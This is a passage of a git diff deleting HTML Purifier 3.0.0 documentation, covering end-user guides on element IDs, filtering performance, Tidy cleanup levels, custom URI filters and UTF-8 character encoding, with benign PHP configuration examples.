    And yes, things get hairier. Even with a nice prefix, we still have done -nothing about multiple HTML Purifier outputs on one page. Thus, we have -a second configuration value to piggy-back off of: %Attr.IDPrefixLocal:

    - -
    $config->set('Attr', 'IDPrefixLocal', 'comment' . $id . '_');
    - -

    This new attributes does nothing but append on to regular IDPrefix, but is -special in that it is volatile: it's value is determined at run-time and -cannot possibly be cordoned into, say, a .ini config file. As for what to -put into the directive, is up to you, but I would recommend the ID number -the text has been assigned in the database. Whatever you pick, however, it -has to be unique and stable for the text you are validating. Note, however, -that we require that %Attr.IDPrefix be set before you use this directive.

    - -

    And also remember: the user has to know what this prefix is too!

    - - - -

    Abstinence

    - -

    You may not want to bother. That's okay too, just don't enable IDs.

    - -

    Personally, I would take this road whenever user-submitted content would be -possibly be shown together on one page. Why a blog comment would need to use -anchors is beyond me.

    - - - -

    Denial

    - -

    To revert back to pre-1.2.0 behavior, simply:

    - -
    $config->set('HTML', 'EnableAttrID', true);
    - -

    Don't come crying to me when your page mysteriously stops validating, though.

    - -
    $Id: enduser-id.html 1397 2007-08-26 18:20:46Z Edward $
    - - - diff --git a/lib/htmlpurifier-3.0.0/docs/enduser-overview.txt b/lib/htmlpurifier-3.0.0/docs/enduser-overview.txt deleted file mode 100644 index 3ebccd2..0000000 --- a/lib/htmlpurifier-3.0.0/docs/enduser-overview.txt +++ /dev/null @@ -1,57 +0,0 @@ - -HTML Purifier - by Edward Z. Yang - -There are a number of ad hoc HTML filtering solutions out there on the web -(some examples including HTML_Safe, kses and SafeHtmlChecker.class.php) that -claim to filter HTML properly, preventing malicious JavaScript and layout -breaking HTML from getting through the parser. None of them, however, -demonstrates a thorough knowledge of neither the DTD that defines the HTML -nor the caveats of HTML that cannot be expressed by a DTD. Configurable -filters (such as kses or PHP's built-in striptags() function) have trouble -validating the contents of attributes and can be subject to security attacks -due to poor configuration. Other filters take the naive approach of -blacklisting known threats and tags, failing to account for the introduction -of new technologies, new tags, new attributes or quirky browser behavior. - -However, HTML Purifier takes a different approach, one that doesn't use -specification-ignorant regexes or narrow blacklists. HTML Purifier will -decompose the whole document into tokens, and rigorously process the tokens by: -removing non-whitelisted elements, transforming bad practice tags like -into , properly checking the nesting of tags and their children and -validating all attributes according to their RFCs. - -To my knowledge, there is nothing like this on the web yet. Not even MediaWiki, -which allows an amazingly diverse mix of HTML and wikitext in its documents, -gets all the nesting quirks right. Existing solutions hope that no JavaScript -will slip through, but either do not attempt to ensure that the resulting -output is valid XHTML or send the HTML through a draconic XML parser (and yet -still get the nesting wrong: SafeHtmlChecker.class.php does not prevent -tags from being nested within each other). - -This document no longer is a detailed description of how HTMLPurifier works, -as those descriptions have been moved to the appropriate code. The first -draft was drawn up after two rough code sketches and the implementation of a -forgiving lexer. You may also be interested in the unit tests located in the -tests/ folder, which provide a living document on how exactly the filter deals -with malformed input. - -In summary (see corresponding classes for more details): - -1. Parse document into an array of tag and text tokens (Lexer) -2. Remove all elements not on whitelist and transform certain other elements - into acceptable forms (i.e. ) -3. Make document well formed while helpfully taking into account certain quirks, - such as the fact that

    tags traditionally are closed by other block-level - elements. -4. Run through all nodes and check children for proper order (especially - important for tables). -5. Validate attributes according to more restrictive definitions based on the - RFCs. -6. Translate back into a string. (Generator) - -HTML Purifier is best suited for documents that require a rich array of -HTML tags. Things like blog comments are, in all likelihood, most appropriately -written in an extremely restrictive set of markup that doesn't require -all this functionality (or not written in HTML at all), although this may -be changing in the future with the addition of levels of filtering. diff --git a/lib/htmlpurifier-3.0.0/docs/enduser-security.txt b/lib/htmlpurifier-3.0.0/docs/enduser-security.txt deleted file mode 100644 index dd85639..0000000 --- a/lib/htmlpurifier-3.0.0/docs/enduser-security.txt +++ /dev/null @@ -1,16 +0,0 @@ - -Security - -Like anything that claims to afford security, HTML_Purifier can be circumvented -through negligence of people. This class will do its job: no more, no less, -and it's up to you to provide it the proper information and proper context -to be effective. Things to remember: - -1. Character Encoding: see enduser-utf8.html for more info. - -2. IDs: see enduser-id.html for more info - -3. URIs: see enduser-uri-filter.html - -4. CSS: document pending -Explain which CSS styles we blocked and why. diff --git a/lib/htmlpurifier-3.0.0/docs/enduser-slow.html b/lib/htmlpurifier-3.0.0/docs/enduser-slow.html deleted file mode 100644 index 12bdff1..0000000 --- a/lib/htmlpurifier-3.0.0/docs/enduser-slow.html +++ /dev/null @@ -1,117 +0,0 @@ - - - - - - - -Speeding up HTML Purifier - HTML Purifier - - - -

    Speeding up HTML Purifier

    -
    ...also known as the HELP ME LIBRARY IS TOO SLOW MY PAGE TAKE TOO LONG page
    - -
    Filed under End-User
    -
    -
    HTML Purifier End-User Documentation
    - -

    HTML Purifier is a very powerful library. But with power comes great -responsibility, in the form of longer execution times. Remember, this -library isn't lightly grazing over submitted HTML: it's deconstructing -the whole thing, rigorously checking the parts, and then putting it back -together.

    - -

    So, if it so turns out that HTML Purifier is kinda too slow for outbound -filtering, you've got a few options:

    - -

    Inbound filtering

    - -

    Perform filtering of HTML when it's submitted by the user. Since the -user is already submitting something, an extra half a second tacked on -to the load time probably isn't going to be that huge of a problem. -Then, displaying the content is a simple a manner of outputting it -directly from your database/filesystem. The trouble with this method is -that your user loses the original text, and when doing edits, will be -handling the filtered text. While this may be a good thing, especially -if you're using a WYSIWYG editor, it can also result in data-loss if a -user makes a typo.

    - -

    Example (non-functional):

    - -
    <?php
    -    /**
    -     * FORM SUBMISSION PAGE
    -     * display_error($message) : displays nice error page with message
    -     * display_success() : displays a nice success page
    -     * display_form() : displays the HTML submission form
    -     * database_insert($html) : inserts data into database as new row
    -     */
    -    if (!empty($_POST)) {
    -        require_once '/path/to/library/HTMLPurifier.auto.php';
    -        require_once 'HTMLPurifier.func.php';
    -        $dirty_html = isset($_POST['html']) ? $_POST['html'] : false;
    -        if (!$dirty_html) {
    -            display_error('You must write some HTML!');
    -        }
    -        $html = HTMLPurifier($dirty_html);
    -        database_insert($html);
    -        display_success();
    -        // notice that $dirty_html is *not* saved
    -    } else {
    -        display_form();
    -    }
    -?>
    - -

    Caching the filtered output

    - -

    Accept the submitted text and put it unaltered into the database, but -then also generate a filtered version and stash that in the database. -Serve the filtered version to readers, and the unaltered version to -editors. If need be, you can invalidate the cache and have the cached -filtered version be regenerated on the first page view. Pros? Full data -retention. Cons? It's more complicated, and opens other editors up to -XSS if they are using a WYSIWYG editor (to fix that, they'd have to be -able to get their hands on the *really* original text served in -plaintext mode).

    - -

    Example (non-functional):

    - -
    <?php
    -    /**
    -     * VIEW PAGE
    -     * display_error($message) : displays nice error page with message
    -     * cache_get($id) : retrieves HTML from fast cache (db or file)
    -     * cache_insert($id, $html) : inserts good HTML into cache system
    -     * database_get($id) : retrieves raw HTML from database
    -     */
    -    $id = isset($_GET['id']) ? (int) $_GET['id'] : false;
    -    if (!$id) {
    -        display_error('Must specify ID.');
    -        exit;
    -    }
    -    $html = cache_get($id); // filesystem or database
    -    if ($html === false) {
    -        // cache didn't have the HTML, generate it
    -        $raw_html = database_get($id);
    -        require_once '/path/to/library/HTMLPurifier.auto.php';
    -        require_once 'HTMLPurifier.func.php';
    -        $html = HTMLPurifier($raw_html);
    -        cache_insert($id, $html);
    -    }
    -    echo $html;
    -?>
    - -

    Summary

    - -

    In short, inbound filtering is the simple option and caching is the -robust option (albeit with bigger storage requirements).

    - -

    There is a third option, independent of the two we've discussed: profile -and optimize HTMLPurifier yourself. Be sure to report back your results -if you decide to do that! Especially if you port HTML Purifier to C++. -;-)

    - - - diff --git a/lib/htmlpurifier-3.0.0/docs/enduser-tidy.html b/lib/htmlpurifier-3.0.0/docs/enduser-tidy.html deleted file mode 100644 index c892a9e..0000000 --- a/lib/htmlpurifier-3.0.0/docs/enduser-tidy.html +++ /dev/null @@ -1,230 +0,0 @@ - - - - - - - -Tidy - HTML Purifier - - - -

    Tidy

    - -
    Filed under Development
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    You've probably heard of HTML Tidy, Dave Raggett's little piece -of software that cleans up poorly written HTML. Let me say it straight -out:

    - -

    This ain't HTML Tidy!

    - -

    Rather, Tidy stands for a cool set of Tidy-inspired features in HTML Purifier -that allows users to submit deprecated elements and attributes and get -valid strict markup back. For example:

    - -
    <center>Centered</center>
    - -

    ...becomes:

    - -
    <div style="text-align:center;">Centered</div>
    - -

    ...when this particular fix is run on the HTML. This tutorial will give -you the lowdown of what exactly HTML Purifier will do when Tidy -is on, and how to fine-tune this behavior. Once again, you do -not need Tidy installed on your PHP to use these features!

    - -

    What does it do?

    - -

    Tidy will do several things to your HTML:

    - -
      -
    • Convert deprecated elements and attributes to standards-compliant - alternatives
    • -
    • Enforce XHTML compatibility guidelines and other best practices
    • -
    • Preserve data that would normally be removed as per W3C
    • -
    - -

    What are levels?

    - -

    Levels describe how aggressive the Tidy module should be when -cleaning up HTML. There are four levels to pick: none, light, medium -and heavy. Each of these levels has a well-defined set of behavior -associated with it, although it may change depending on your doctype.

    - -
    -
    light
    -
    This is the lenient level. If a tag or attribute - is about to be removed because it isn't supported by the - doctype, Tidy will step in and change into an alternative that - is supported.
    -
    medium
    -
    This is the correctional level. At this level, - all the functions of light are performed, as well as some extra, - non-essential best practices enforcement. Changes made on this - level are very benign and are unlikely to cause problems.
    -
    heavy
    -
    This is the aggressive level. If a tag or - attribute is deprecated, it will be converted into a non-deprecated - version, no ifs ands or buts.
    -
    - -

    By default, Tidy operates on the medium level. You can -change the level of cleaning by setting the %HTML.TidyLevel configuration -directive:

    - -
    $config->set('HTML', 'TidyLevel', 'heavy'); // burn baby burn!
    - -

    Is the light level really light?

    - -

    It depends on what doctype you're using. If your documents are HTML -4.01 Transitional, HTML Purifier will be lazy -and won't clean up your center -or font tags. But if you're using HTML 4.01 Strict, -HTML Purifier has no choice: it has to convert them, or they will -be nuked out of existence. So while light on Transitional will result -in little to no changes, light on Strict will still result in quite -a lot of fixes.

    - -

    This is different behavior from 1.6 or before, where deprecated -tags in transitional documents would -always be cleaned up regardless. This is also better behavior.

    - -

    My pages look different!

    - -

    HTML Purifier is tasked with converting deprecated tags and -attributes to standards-compliant alternatives, which usually -need copious amounts of CSS. It's also not foolproof: sometimes -things do get lost in the translation. This is why when HTML Purifier -can get away with not doing cleaning, it won't; this is why -the default value is medium and not heavy.

    - -

    Fortunately, only a few attributes have problems with the switch -over. They are described below:

    - - - - - - - - - - - - - - - - - - - - - - - - -
    Element@AttrChanges
    caption@alignFirefox supports stuffing the caption on the - left and right side of the table, a feature that - Internet Explorer, understandably, does not have. - When align equals right or left, the text will simply - be aligned on the left or right side.
    img@alignThe implementation for align bottom is good, but not - perfect. There are a few pixel differences.
    br@clearClear both gets a little wonky in Internet Explorer. Haven't - really been able to figure out why.
    hr@noshadeAll browsers implement this slightly differently: we've - chosen to make noshade horizontal rules gray.
    - -

    There are a few more minor, although irritating, bugs. -Some older browsers support deprecated attributes, -but not CSS. Transformed elements and attributes will look unstyled -to said browsers. Also, CSS precedence is slightly different for -inline styles versus presentational markup. In increasing precedence:

    - -
      -
    1. Presentational attributes
    2. -
    3. External style sheets
    4. -
    5. Inline styling
    6. -
    - -

    This means that styling that may have been masked by external CSS -declarations will start showing up (a good thing, perhaps). Finally, -if you've turned off the style attribute, almost all of -these transformations will not work. Sorry mates.

    - -

    You can review the rendering before and after of these transformations -by consulting the attrTransform.php -smoketest.

    - -

    I like the general idea, but the specifics bug me!

    - -

    So you want HTML Purifier to clean up your HTML, but you're not -so happy about the br@clear implementation. That's perfectly fine! -HTML Purifier will make accomodations:

    - -
    $config->set('HTML', 'Doctype', 'XHTML 1.0 Transitional');
    -$config->set('HTML', 'TidyLevel', 'heavy'); // all changes, minus...
    -$config->set('HTML', 'TidyRemove', 'br@clear');
    - -

    That third line does the magic, removing the br@clear fix -from the module, ensuring that <br clear="both" /> -will pass through unharmed. The reverse is possible too:

    - -
    $config->set('HTML', 'Doctype', 'XHTML 1.0 Transitional');
    -$config->set('HTML', 'TidyLevel', 'none'); // no changes, plus...
    -$config->set('HTML', 'TidyAdd', 'p@align');
    - -

    In this case, all transformations are shut off, except for the p@align -one, which you found handy.

    - -

    To find out what the names of fixes you want to turn on or off are, -you'll have to consult the source code, specifically the files in -HTMLPurifier/HTMLModule/Tidy/. There is, however, a -general syntax:

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    NameExampleInterpretation
    elementfontTag transform for element
    element@attrbr@clearAttribute transform for attr on element
    @attr@langGlobal attribute transform for attr
    e#content_model_typeblockquote#content_model_typeChange of child processing implementation for e
    - -

    So... what's the lowdown?

    - -

    The lowdown is, quite frankly, HTML Purifier's default settings are -probably good enough. The next step is to bump the level up to heavy, -and if that still doesn't satisfy your appetite, do some fine-tuning. -Other than that, don't worry about it: this all works silently and -effectively in the background.

    - -
    $Id: enduser-tidy.html 1397 2007-08-26 18:20:46Z Edward $
    - - diff --git a/lib/htmlpurifier-3.0.0/docs/enduser-uri-filter.html b/lib/htmlpurifier-3.0.0/docs/enduser-uri-filter.html deleted file mode 100644 index 04a611f..0000000 --- a/lib/htmlpurifier-3.0.0/docs/enduser-uri-filter.html +++ /dev/null @@ -1,201 +0,0 @@ - - - - - - - -URI Filters - HTML Purifier - - - -

    URI Filters

    - -
    Filed under End-User
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    - This is a quick and dirty document to get you on your way to writing - custom URI filters for your own URL filtering needs. Why would you - want to write a URI filter? If you need URIs your users put into - HTML to magically change into a different URI, this is - exactly what you need! -

    - -

    Creating the class

    - -

    - Any URI filter you make will be a subclass of HTMLPurifier_URIFilter. - The scaffolding is thus: -

    - -
    class HTMLPurifier_URIFilter_NameOfFilter extends HTMLPurifier_URIFilter
    -{
    -    var $name = 'NameOfFilter';
    -    function prepare($config) {}
    -    function filter(&$uri, $config, &$context) {}
    -}
    - -

    - Fill in the variable $name with the name of your filter, and - take a look at the two methods. prepare() is an initialization - method that is called only once, before any filtering has been done of the - HTML. Use it to perform any costly setup work that only needs to be done - once. filter() is the guts and innards of our filter: - it takes the URI and does whatever needs to be done to it. -

    - -

    - If you've worked with HTML Purifier, you'll recognize the $config - and $context parameters. On the other hand, $uri - is something unique to this section of the application: it's a - HTMLPurifier_URI object. The interface is thus: -

    - -
    class HTMLPurifier_URI
    -{
    -    var $scheme, $userinfo, $host, $port, $path, $query, $fragment;
    -    function HTMLPurifier_URI($scheme, $userinfo, $host, $port, $path, $query, $fragment);
    -    function toString();
    -    function copy();
    -    function getSchemeObj($config, &$context);
    -    function validate($config, &$context);
    -}
    - -

    - The first three methods are fairly self-explanatory: you have a constructor, - a serializer, and a cloner. Generally, you won't be using them when - you are manipulating the URI objects themselves. - getSchemeObj() is a special purpose method that returns - a HTMLPurifier_URIScheme object corresponding to the specific - URI at hand. validate() performs general-purpose validation - on the internal components of a URI. Once again, you don't need to - worry about these: they've already been handled for you. -

    - -

    URI format

    - -

    - As a URIFilter, we're interested in the member variables of the URI object. -

    - - - - - - - - - -
    Scheme The protocol for identifying (and possibly locating) a resource (http, ftp, https)
    Userinfo User information such as a username (bob)
    Host Domain name or IP address of the server (example.com, 127.0.0.1)
    Port Network port number for the server (80, 12345)
    Path Data that identifies the resource, possibly hierarchical (/path/to, ed@example.com)
    Query String of information to be interpreted by the resource (?q=search-term)
    Fragment Additional information for the resource after retrieval (#bookmark)
    - -

    - Because the URI is presented to us in this form, and not - http://bob@example.com:8080/foo.php?q=string#hash, it saves us - a lot of trouble in having to parse the URI every time we want to filter - it. For the record, the above URI has the following components: -

    - - - - - - - - - -
    Scheme http
    Userinfo bob
    Host example.com
    Port 8080
    Path /foo.php
    Query q=string
    Fragment hash
    - -

    - Note that there is no question mark or octothorpe in the query or - fragment: these get removed during parsing. -

    - -

    - With this information, you can get straight to implementing your - filter() method. But one more thing... -

    - -

    Return value: Boolean, not URI

    - -

    - You may have noticed that the URI is being passed in by reference. - This means that whatever changes you make to it, those changes will - be reflected in the URI object the callee had. Do not - return the URI object: it is unnecessary and will cause bugs. - Instead, return a boolean value, true if the filtering was successful, - or false if the URI is beyond repair and needs to be axed. -

    - -

    - Let's suppose I wanted to write a filter that de-internationalized domain - names by converting them to Punycode. - Assuming that punycode_encode($input) converts $input to - Punycode and returns false on failure: -

    - -
    class HTMLPurifier_URIFilter_ConvertIDNToPunycode extends HTMLPurifier_URIFilter
    -{
    -    var $name = 'ConvertIDNToPunycode';
    -    function filter(&$uri, $config, &$context) {
    -        if (is_null($uri->host)) return true;
    -        if ($uri->host == utf8_decode($uri->host)) {
    -            // is ASCII, abort
    -            return true;
    -        }
    -        $host = punycode_encode($uri->host);
    -        if ($host === false) return false;
    -        $uri->host = $host;
    -        return true;
    -    }
    -}
    - -

    - Notice I did not return $uri;. -

    - -

    Activating your filter

    - -

    - Having a filter is all well and good, but you need to tell HTML Purifier - to use it. Fortunately, this part's simple: -

    - -
    $uri =& $config->getDefinition('URI');
    -$uri->addFilter(new HTMLPurifier_URIFilter_NameOfFilter());
    - -

    - If you want to be really fancy, you can define a configuration directive - for your filter and have HTML Purifier automatically manage whether or - not your filter gets loaded or not (this is how internal filters manage - things): -

    - -
    HTMLPurifier_ConfigSchema::define(
    -    'URI', 'NameOfFilter', false, 'bool',
    -    'What your filter does.'
    -);
    -$uri =& $config->getDefinition('URI', true);
    -$uri->registerFilter(new HTMLPurifier_URIFilter_NameOfFilter());
    -
    - -

    - Now, your filter will only be called when %URI.NameOfFilter - is set to true. -

    - -

    Examples

    - -

    - Check the - URIFilter - directory for more implementation examples, and see the - new directives proposal document for ideas on what could be implemented - as a filter. -

    - -
    $Id$
    - - diff --git a/lib/htmlpurifier-3.0.0/docs/enduser-utf8.html b/lib/htmlpurifier-3.0.0/docs/enduser-utf8.html deleted file mode 100644 index 062eed7..0000000 --- a/lib/htmlpurifier-3.0.0/docs/enduser-utf8.html +++ /dev/null @@ -1,1057 +0,0 @@ - - - - - - - - - -UTF-8: The Secret of Character Encoding - HTML Purifier - - - - - -

    UTF-8: The Secret of Character Encoding

    - -
    Filed under End-User
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    Character encoding and character sets are not that -difficult to understand, but so many people blithely stumble -through the worlds of programming without knowing what to actually -do about it, or say "Ah, it's a job for those internationalization -experts." No, it is not! This document will walk you through -determining the encoding of your system and how you should handle -this information. It will stay away from excessive discussion on -the internals of character encoding.

    - -

    This document is not designed to be read in its entirety: it will -slowly introduce concepts that build on each other: you need not get to -the bottom to have learned something new. However, I strongly -recommend you read all the way to Why UTF-8?, because at least -at that point you'd have made a conscious decision not to migrate, -which can be a rewarding (but difficult) task.

    - -
    -
    Asides
    -

    Text in this formatting is an aside, - interesting tidbits for the curious but not strictly necessary material to - do the tutorial. If you read this text, you'll come out - with a greater understanding of the underlying issues.

    -
    - -

    Table of Contents

    - -
      -
    1. Finding the real encoding
    2. -
    3. Finding the embedded encoding
    4. -
    5. Fixing the encoding
        -
      1. No embedded encoding
      2. -
      3. Embedded encoding disagrees
      4. -
      5. Changing the server encoding
          -
        1. PHP header() function
        2. -
        3. PHP ini directive
        4. -
        5. Non-PHP
        6. -
        7. .htaccess
        8. -
        9. File extensions
        10. -
      6. -
      7. XML
      8. -
      9. Inside the process
      10. -
    6. -
    7. Why UTF-8?
        -
      1. Internationalization
      2. -
      3. User-friendly
      4. -
      5. Forms
          -
        1. application/x-www-form-urlencoded
        2. -
        3. multipart/form-data
        4. -
      6. -
      7. Well supported
      8. -
      9. HTML Purifiers
      10. -
    8. -
    9. Migrate to UTF-8
        -
      1. Configuring your database
          -
        1. Legit method
        2. -
        3. Binary
        4. -
      2. -
      3. Text editor
      4. -
      5. Byte Order Mark (headers already sent!)
      6. -
      7. Fonts
          -
        1. Obscure scripts
        2. -
        3. Occasional use
        4. -
      8. -
      9. Dealing with variable width in functions
      10. -
    10. -
    11. Further Reading
    12. -
    - -

    Finding the real encoding

    - -

    In the beginning, there was ASCII, and things were simple. But they -weren't good, for no one could write in Cyrillic or Thai. So there -exploded a proliferation of character encodings to remedy the problem -by extending the characters ASCII could express. This ridiculously -simplified version of the history of character encodings shows us that -there are now many character encodings floating around.

    - -
    -

    A character encoding tells the computer how to - interpret raw zeroes and ones into real characters. It - usually does this by pairing numbers with characters.

    -

    There are many different types of character encodings floating - around, but the ones we deal most frequently with are ASCII, - 8-bit encodings, and Unicode-based encodings.

    -
      -
    • ASCII is a 7-bit encoding based on the - English alphabet.
    • -
    • 8-bit encodings are extensions to ASCII - that add a potpourri of useful, non-standard characters - like é and æ. They can only add 127 characters, - so usually only support one script at a time. When you - see a page on the web, chances are it's encoded in one - of these encodings.
    • -
    • Unicode-based encodings implement the - Unicode standard and include UTF-8, UCS-2 and UTF-16. - They go beyond 8-bits (the first two are variable length, - while the second one uses 16-bits), and support almost - every language in the world. UTF-8 is gaining traction - as the dominant international encoding of the web.
    • -
    -
    - -

    The first step of our journey is to find out what the encoding of -your website is. The most reliable way is to ask your -browser:

    - -
    -
    Mozilla Firefox
    -
    Tools > Page Info: Encoding
    -
    Internet Explorer
    -
    View > Encoding: bulleted item is unofficial name
    -
    - -

    Internet Explorer won't give you the MIME (i.e. useful/real) name of the -character encoding, so you'll have to look it up using their description. -Some common ones:

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    IE's DescriptionMime Name
    Windows
    Arabic (Windows)Windows-1256
    Baltic (Windows)Windows-1257
    Central European (Windows)Windows-1250
    Cyrillic (Windows)Windows-1251
    Greek (Windows)Windows-1253
    Hebrew (Windows)Windows-1255
    Thai (Windows)TIS-620
    Turkish (Windows)Windows-1254
    Vietnamese (Windows)Windows-1258
    Western European (Windows)Windows-1252
    ISO
    Arabic (ISO)ISO-8859-6
    Baltic (ISO)ISO-8859-4
    Central European (ISO)ISO-8859-2
    Cyrillic (ISO)ISO-8859-5
    Estonian (ISO)ISO-8859-13
    Greek (ISO)ISO-8859-7
    Hebrew (ISO-Logical)ISO-8859-8-l
    Hebrew (ISO-Visual)ISO-8859-8
    Latin 9 (ISO)ISO-8859-15
    Turkish (ISO)ISO-8859-9
    Western European (ISO)ISO-8859-1
    Other
    Chinese Simplified (GB18030)GB18030
    Chinese Simplified (GB2312)GB2312
    Chinese Simplified (HZ)HZ
    Chinese Traditional (Big5)Big5
    Japanese (Shift-JIS)Shift_JIS
    Japanese (EUC)EUC-JP
    KoreanEUC-KR
    Unicode (UTF-8)UTF-8
    - -

    Internet Explorer does not recognize some of the more obscure -character encodings, and having to lookup the real names with a table -is a pain, so I recommend using Mozilla Firefox to find out your -character encoding.

    - -

    Finding the embedded encoding

    - -

    At this point, you may be asking, "Didn't we already find out our -encoding?" Well, as it turns out, there are multiple places where -a web developer can specify a character encoding, and one such place -is in a META tag:

    - -
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    - -

    You'll find this in the HEAD section of an HTML document. -The text to the right of charset= is the "claimed" -encoding: the HTML claims to be this encoding, but whether or not this -is actually the case depends on other factors. For now, take note -if your META tag claims that either:

    - -
      -
    1. The character encoding is the same as the one reported by the - browser,
    2. -
    3. The character encoding is different from the browser's, or
    4. -
    5. There is no META tag at all! (horror, horror!)
    6. -
    - -

    Fixing the encoding

    - -

    The advice given here is for pages being served as -vanilla text/html. Different practices must be used -for application/xml or application/xml+xhtml, see -W3C's -document on XHTML media types for more information.

    - -

    If your META encoding and your real encoding match, -savvy! You can skip this section. If they don't...

    - -

    No embedded encoding

    - -

    If this is the case, you'll want to add in the appropriate -META tag to your website. It's as simple as copy-pasting -the code snippet above and replacing UTF-8 with whatever is the mime name -of your real encoding.

    - -
    -

    For all those skeptics out there, there is a very good reason - why the character encoding should be explicitly stated. When the - browser isn't told what the character encoding of a text is, it - has to guess: and sometimes the guess is wrong. Hackers can manipulate - this guess in order to slip XSS past filters and then fool the - browser into executing it as active code. A great example of this - is the Google UTF-7 - exploit.

    -

    You might be able to get away with not specifying a character - encoding with the META tag as long as your webserver - sends the right Content-Type header, but why risk it? Besides, if - the user downloads the HTML file, there is no longer any webserver - to define the character encoding.

    -
    - -

    Embedded encoding disagrees

    - -

    This is an extremely common mistake: another source is telling -the browser what the -character encoding is and is overriding the embedded encoding. This -source usually is the Content-Type HTTP header that the webserver (i.e. -Apache) sends. A usual Content-Type header sent with a page might -look like this:

    - -
    Content-Type: text/html; charset=ISO-8859-1
    - -

    Notice how there is a charset parameter: this is the webserver's -way of telling a browser what the character encoding is, much like -the META tags we touched upon previously.

    - -

    In fact, the META tag is -designed as a substitute for the HTTP header for contexts where -sending headers is impossible (such as locally stored files without -a webserver). Thus the name http-equiv (HTTP equivalent). -

    - -

    There are two ways to go about fixing this: changing the META -tag to match the HTTP header, or changing the HTTP header to match -the META tag. How do we know which to do? It depends -on the website's content: after all, headers and tags are only ways of -describing the actual characters on the web page.

    - -

    If your website:

    - -
    -
    ...only uses ASCII characters,
    -
    Either way is fine, but I recommend switching both to - UTF-8 (more on this later).
    -
    ...uses special characters, and they display - properly,
    -
    Change the embedded encoding to the server encoding.
    -
    ...uses special characters, but users often complain that - they come out garbled,
    -
    Change the server encoding to the embedded encoding.
    -
    - -

    Changing a META tag is easy: just swap out the old encoding -for the new. Changing the server (HTTP header) encoding, however, -is slightly more difficult.

    - -

    Changing the server encoding

    - -

    PHP header() function

    - -

    The simplest way to handle this problem is to send the encoding -yourself, via your programming language. Since you're using HTML -Purifier, I'll assume PHP, although it's not too difficult to do -similar things in -other -languages. The appropriate code is:

    - -
    header('Content-Type:text/html; charset=UTF-8');
    - -

    ...replacing UTF-8 with whatever your embedded encoding is. -This code must come before any output, so be careful about -stray whitespace in your application (i.e., any whitespace before -output excluding whitespace within <?php ?> tags).

    - -

    PHP ini directive

    - -

    PHP also has a neat little ini directive that can save you a -header call: default_charset. Using this code:

    - -
    ini_set('default_charset', 'UTF-8');
    - -

    ...will also do the trick. If PHP is running as an Apache module (and -not as FastCGI, consult -phpinfo() for details), you can even use htaccess to apply this property -across many PHP files:

    - -
    php_value default_charset "UTF-8"
    - -

    As with all INI directives, this can -also go in your php.ini file. Some hosting providers allow you to customize -your own php.ini file, ask your support for details. Use:

    -
    default_charset = "utf-8"
    - -

    Non-PHP

    - -

    You may, for whatever reason, need to set the character encoding -on non-PHP files, usually plain ol' HTML files. Doing this -is more of a hit-or-miss process: depending on the software being -used as a webserver and the configuration of that software, certain -techniques may work, or may not work.

    - -

    .htaccess

    - -

    On Apache, you can use an .htaccess file to change the character -encoding. I'll defer to -W3C -for the in-depth explanation, but it boils down to creating a file -named .htaccess with the contents:

    - -
    AddCharset UTF-8 .html
    - -

    Where UTF-8 is replaced with the character encoding you want to -use and .html is a file extension that this will be applied to. This -character encoding will then be set for any file directly in -or in the subdirectories of directory you place this file in.

    - -

    If you're feeling particularly courageous, you can use:

    - -
    AddDefaultCharset UTF-8
    - -

    ...which changes the character set Apache adds to any document that -doesn't have any Content-Type parameters. This directive, which the -default configuration file sets to iso-8859-1 for security -reasons, is probably why your headers mismatch -with the META tag. If you would prefer Apache not to be -butting in on your character encodings, you can tell it not -to send anything at all:

    - -
    AddDefaultCharset Off
    - -

    ...making your internal charset declaration (usually the META tags) -the sole source of character encoding -information. In these cases, it is especially important to make -sure you have valid META tags on your pages and all the -text before them is ASCII.

    - -

    These directives can also be -placed in httpd.conf file for Apache, but -in most shared hosting situations you won't be able to edit this file. -

    - -

    File extensions

    - -

    If you're not allowed to use .htaccess files, you can often -piggy-back off of Apache's default AddCharset declarations to get -your files in the proper extension. Here are Apache's default -character set declarations:

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CharsetFile extension(s)
    ISO-8859-1.iso8859-1 .latin1
    ISO-8859-2.iso8859-2 .latin2 .cen
    ISO-8859-3.iso8859-3 .latin3
    ISO-8859-4.iso8859-4 .latin4
    ISO-8859-5.iso8859-5 .latin5 .cyr .iso-ru
    ISO-8859-6.iso8859-6 .latin6 .arb
    ISO-8859-7.iso8859-7 .latin7 .grk
    ISO-8859-8.iso8859-8 .latin8 .heb
    ISO-8859-9.iso8859-9 .latin9 .trk
    ISO-2022-JP.iso2022-jp .jis
    ISO-2022-KR.iso2022-kr .kis
    ISO-2022-CN.iso2022-cn .cis
    Big5.Big5 .big5 .b5
    WINDOWS-1251.cp-1251 .win-1251
    CP866.cp866
    KOI8-r.koi8-r .koi8-ru
    KOI8-ru.koi8-uk .ua
    ISO-10646-UCS-2.ucs2
    ISO-10646-UCS-4.ucs4
    UTF-8.utf8
    GB2312.gb2312 .gb
    utf-7.utf7
    EUC-TW.euc-tw
    EUC-JP.euc-jp
    EUC-KR.euc-kr
    shift_jis.sjis
    - -

    So, for example, a file named page.utf8.html or -page.html.utf8 will probably be sent with the UTF-8 charset -attached, the difference being that if there is an -AddCharset charset .html declaration, it will override -the .utf8 extension in page.utf8.html (precedence moves -from right to left). By default, Apache has no such declaration.

    - -

    Microsoft IIS

    - -

    If anyone can contribute information on how to configure Microsoft -IIS to change character encodings, I'd be grateful.

    - -

    XML

    - -

    META tags are the most common source of embedded -encodings, but they can also come from somewhere else: XML -Declarations. They look like:

    - -
    <?xml version="1.0" encoding="UTF-8"?>
    - -

    ...and are most often found in XML documents (including XHTML).

    - -

    For XHTML, this XML Declaration theoretically -overrides the META tag. In reality, this happens only when the -XHTML is actually served as legit XML and not HTML, which is almost always -never due to Internet Explorer's lack of support for -application/xhtml+xml (even though doing so is often -argued to be good -practice and is required by the XHTML 1.1 specification).

    - -

    For XML, however, this XML Declaration is extremely important. -Since most webservers are not configured to send charsets for .xml files, -this is the only thing a parser has to go on. Furthermore, the default -for XML files is UTF-8, which often butts heads with more common -ISO-8859-1 encoding (you see this in garbled RSS feeds).

    - -

